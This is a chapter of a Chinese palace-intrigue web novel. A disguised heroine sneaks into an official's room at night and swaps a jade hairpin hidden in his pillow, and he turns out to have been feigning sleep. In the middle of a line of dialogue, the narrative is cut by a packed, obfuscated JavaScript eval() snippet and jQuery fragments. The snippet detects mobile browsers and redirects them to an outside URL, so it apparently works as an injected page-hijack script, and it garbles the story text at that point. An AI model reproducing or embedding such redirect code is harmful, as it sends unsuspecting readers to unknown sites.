不好!
在仓皇逃走,全院搜查,和强压心跳,装作乌龙的瞬间交战之间,宋连果断选择了后者。
最好是将大事化小,小事化了。
“喵。”
急中生智,宋连硬着头皮学出一声猫叫,她这些日子不仅在规律断药,也在练习嗓音,私下里咿咿呀呀,以备以后在无药辅佐时,嗓音仍能不叫人察出破绽,没想到用在了此刻。
万幸,这一声出口算得上惟妙惟肖。
出口的瞬间,她蜷成一团,飞快向里滚去,身量轻盈,又收紧控力,在铺满地毯的内屋几乎没有发出声响,经过窗户时又瞬间拉开一丝缝隙,恍作野猫扑走之状。
在床上人睁眼坐起的那一瞬——
她滚至了床下。
惊魂未定。
一切动作仅仅发生在一息之间。
但逍墨的动作也很快,在宋连尚未调好呼吸,心跳如雷,冷汗涔涔时,他的身影已经出现在门外。
“大人!”他喊得焦急,但却并未推门而入,仍守规矩地等晏临回应。
宋连缩在床底,视野受限,只能瞧见床上人不紧不慢地穿鞋下榻,似乎并未被方才铃铛异动所影响。
宋连看见晏临的脚步踱至门边,门开了。
“大人,有人动了此屋机关,我房中铃铛响了!可曾进过什么人?”
“我好像朦胧中听见了一声猫叫,”晏临的声音闷闷的,带着醉酒和困意的昏沉,“大概是野猫误入,窗未合严吧。”
宋连紧张地握紧腰侧短刀,如果他们有所怀疑,她一定要拼劲全力,掩面逃走。无论如何,无论如何也不能就此交代在这。
二人的脚尖齐齐对着内屋那扇小窗,微风习习,窗边薄纱朝着屋内轻扬,一派安宁与祥和,恍若方才被异响所惊动不过是小题大做。
“猫?大人,谨慎起见,我还是去问问守卫,核实一下。”
床与地面的空隙之间并无遮掩,宋连愈加敛了声息,整个人如同一块死石,一动不动,唯留那双眼睛,在一团黑暗中熠熠发亮,握刀的手心已发了一层虚汗。
晏临并未答话,反而懒洋洋地拉了把桌边的椅子坐下。
“昨夜饮酒太多,醉意难消,不得清醒。”
从宋连的视角,她只能自下而上瞧见晏临侧撑着头,一手来回捏着头侧穴位,好像真的头晕难忍,余醉未消。他昨夜喝的确实太多,饶是宋连早早佯装醉倒,也能听见旁边酌酒声不断。
她竟忽然冒出些不好意思来。要是方才再谨慎些,不对着一个能认出来的暗格便激动下手,她也不至于缩在床底,他也能睡个好觉。
逍墨忽然止住了声音,空气寂静了片刻。
“那我再为大人端碗醒酒汤?”逍墨的声音很是犹疑,伴着试探。可惜宋连的视野被床沿卡死,看不见他的神情。
“嗯,端碗宁神汤吧,天快亮了,”晏临一手抚着额,“左右这桌案机关也是原房中自设,我们的东西又没放在这。”
晏临停顿了,仿佛意有所指。宋连支起耳朵仔细听着,却见晏临的目光忽然笔直地向她这边投射过来!
宋连惊得顿时瞳孔骤缩,头顶发麻,全身紧绷。她极力压下心头的慌张,再仔细看去,发现晏临并未是在看她,而是把视线停留在她的上方。
晏临的目光凝视了许久,才收了回去。
“明日便要启程,今夜好好歇息吧。”晏临复又合上眼,对着逍墨淡淡道。
他在看床,床上?
他是把簪子藏在了床上!
宋连起初还有些犹豫,愈想便愈觉得就是这么回事。不然他为何被铃铛惊醒却又不慌不忙,这簪子就伴着他入睡,他当然放心,也知道这东西还完好放着。这确实是个好地方。
这不就和她入睡时将短刀压在枕下有异曲同工之妙嘛。
宋连安下心,她就在这静等着逍墨将安神汤端来,等着晏临再次熟睡。
*
寅时将至,床上传来的呼吸声平缓绵长,宋连微微挪动,将头探出去了些许,一只眼睛悄悄向上看去。
很好,什么也瞧不见。
他应当是翻身向里睡去了,宋连是看着他喝完安神汤的,这会儿应当睡得很沉。蒋明川每每聚餐喝大,半夜便如睡死过去一般。那晏临……
总不能在这窝到天明,宋连大起胆子,身子悄无声息地翻了出去,一个鲤鱼打挺,她立在床边。
晏临面朝着墙,背对着她。月光皎皎,衬得他耳朵如同瓷玉。
宋连心头泛上来一丝愧疚,对着那道背影,她默默了片刻。但很快,她的理智便又被拉了回来。
她要看看陈德生究竟是个什么打算,她要用这玉簪为起子撬开他深藏的秘密。
宋连不再看向晏临,她专心致志地回忆起方才他眼神的落处,对着床上一顿摸索。可这上面,除了枕头,空空如也。
宋连不死心,她围着床板左转右转,说不定设有暗格也未可知。学到用时方恨少,她对于机窍了解得还甚为粗糙,手掀开床褥向里伸去,床板严丝合缝,宋连额头上又冒出一层汗滴。
溪州的夜比京城明亮许多,月色随着宋连的身影晃来晃去,投在屋内的光亮也跟着深浅不一。宋连止住了来回挪动的脚步。
别再给他晃醒了。
宋连重新将自己隐入黑暗中,暗自思索,她现在已经对簪子在床上确定无疑,如果是她,她一定会将此物放在稍有动静便会立刻觉察出的地方。
枕头。
这是一方长约一尺的锦木枕,端正而安静地摆在晏临脑后。宋连缓慢屈膝,一点点蹲下身,直到视线与那枕头齐平。
她的眼睛距离晏临不足半尺,近到她可以清晰瞧见他长而不疏的眼睫,并不如何卷翘,反而如婴儿般恬淡平直。
发丝上的淡淡药草香和着皂角的味道,丝丝缕缕钻进她的鼻子,竟令宋连觉得自己此刻像是个窃香贼,不安好心地夜闯美人卧居。
她感到一种诡异的安宁感,呼吸也放得更慢,双手展开,分别轻摸枕头两端。
卷云纹的雕刻,宋连的手指镇定地一点点描摹,忽然顿住,左边似乎多了一条云纹。她登时屏住呼吸,随手拈起晏临放在一旁挽发的木簪,轻巧一捅。
“咔擦。”
声音极其轻微,落在宋连耳朵里却犹如惊涛骇浪。她紧紧盯着晏临,他的睫毛似乎微微颤了颤,转而翻了个身,继续沉睡。
宋连静止了片刻,确认这夜又恢复了静谧,才将那弹出了一条缝隙的暗格慢慢抽出来,里面确实有一个盒子。
她屏息凝神,迅速地将盒子取出,掀盖查看,果真。
还顾不得如释重负的欣喜,宋连从怀中拿出那根伪冒的簪子,在月色下,两只簪子如果不放在一起仔细对比,光波流转近乎瞧不出来分别。
替换完成。宋连悄悄松了口气。
也多亏了今夜按察使在旁不停地和晏临劝酒。喝酒误事,喝酒误事,宋连自顾自摇了摇头,在窗边准备原路溜走时,又回头看了晏临一眼。
欠他的,会还上。
在宋连利落离去的身影背后,那双本应沉入梦乡的眼眸却悄然睁开。
*
宋连还未睡沉,天光已然大亮,她烦躁地坐起身来,昨夜一切都像一场梦一般,只余眼下乌青,和沉沉压在包袱里的那支簪子,提醒她昨夜皆是真实。
她真搞不懂,一只簪子而已,竟闹出这么多事来。
等宋连收拾好出屋,正看见晏临远远地立在院子门口,和逍墨说着话,她的眼神慌忙错开。他应当发现不了吧,等她摸清了陈德生的目的,一定会将簪子还回去,不在皇帝面前连累他。
蒋明川已背好了行囊,隔着好远便闻见了扑面而来的海腥气。
“黄鱼鲞、虾米、瑶柱、咸鱼……街上能见到的溪州土产应有尽有,”蒋明川骄傲地拍了拍背上鼓鼓囊囊的包裹,“哦对,差点忘了,还有荔枝干,龙眼干,这东西在京城可不多见,甜的嘞。”
说罢,他又凑上去鼻子用力嗅嗅,“别让果干染上腥气才好,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077696|174495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没那么多包可以分开放。”
前几日,他就与那王副使混了个熟,与人家勾肩搭背,将这四处集市逛了个遍。
“那你放过来些,”宋连慷慨解开自己的行囊,“反正拿回去也是要分给我一些的。”这话对蒋明川说再自然不过,二人都当这是理所应当。
“味儿太冲,再给你东西也染上,”蒋明川摆摆手,“我都算好了日子,等到京,就快是我的生辰了,我爹妈也会来,带他们好好逛逛京城。”
他的眼神满是憧憬。
宋连记得他老家在漠州,据他所说那地方荒凉的很,父亲做了些买卖,是个有些名气的游商,家中既赚了些钱,也无处可花。这些年,蒋明川一两年才趁着年下回去一趟,宋连还从未见过他父母。
往年生辰,蒋明川只和学堂中人聚聚,将家中寄来的信读了一遍又一遍,这一切宋连都是看在眼里的。今年不一样,他要二十岁了,及冠的重要日子。
“嗯,那真是好事连连呀。”宋连仰起头对他笑了笑。
蒋明川总有一种魔力,不论她心里有多繁重的心事,他那种简单的、纯粹的快乐总能不由分说地灌进来。
“我也想好了,这次我爹一来,怎么着也得说服他留在京,钱够花不就成了,等我及冠之后就要去北关军营,和京城两地往返还方便些。”
蒋明川父亲并无妾室,和他母亲老来得子,据说身体虽然还算硬朗,但常年奔波,落下不少小毛病。
宋连一面听着蒋明川满是向往的打算,一面有些羡慕。她从未体会过有家人挂怀是何种感受,有时候也会有可笑的期望,希望自己是不小心走失,父母悲痛异常,也许有生之年重逢,他们还会抱着自己痛哭流涕。
但是按察使陡然提起的寒族,却令宋连放弃了这一幻想。一个人数稀少又离群索居的民族,在北关尚不常见,又如何恰巧能带着孩子去了京城。
“走走,去装车了,咱们去搭把手。”蒋明川拍拍宋连,拽着她衣袖向外走去。
许筠蘅提前走了,好像天狱司又有了别的事。这次返程,就只剩下他们五人,晏临已经联系了沿途州县,要他们帮忙备马通路,快快返京。宋连不禁还有些庆幸,这次州府自会保驾护航,行路途中她还真没机会下手。
保佑晏临千万别发现簪子有误……
一阵忙活,又与官廨中的人道了别,几人终于启程。
阿鲁和逍墨驾车,晏临坐在车内,蒋明川与宋连一合计,二人都觉得在车中晃荡不适,不如骑马自在,还能吹风,故而两人行在车前开路。
*
“大人,”逍墨钻进了车厢,手中拿着那木盒,面露难色,“这只簪子上没有我们洒下的香粉。”
晏临掀开车帘,那两道骑马的身影远远走在前面,有说有笑。
“嗯,我知道。这不是那支。”晏临合上车帘,淡淡道。
“是陈科!”逍墨的声音在晏临眼神的制止下压低了下来,驾车的阿鲁还在专心云游,他也没有偷听主子讲话的习惯,“大人为何屡屡纵容,难道是要放长线钓大鱼?”
夜半晏临忽然又装醉他便觉察出不对,大人自小的酒量他是有数的,但大人对待陈科这种心怀不轨之人的做法,却实在令他摸不着头脑。
不过,大人总归会是对的。
“可以这么说吧,李行那边如何?”晏临不欲在此事上多做解释。
“别的倒是没有,只是他上了道折子,申斥四皇子独自跑到行宫避暑,宠爱太过。”
“谁不知道皇上独宠萧贵妃,这话递上去,皇上很不满。”逍墨继续补充道。
晏临沉默了片刻,看着窗外若有所思。
“她没睡好,到了落脚的地方,你也给她盛一碗安神汤吧。”
“啊?”逍墨一时没有反应过来半晌才回话道,“是昨夜大人您喝的那种,还是正儿八经的安神汤啊?”
晏临无奈地看了他一眼。
“是。”逍墨实在参不透其中古怪,难不成大人这是以情动人,叫陈科倒戈?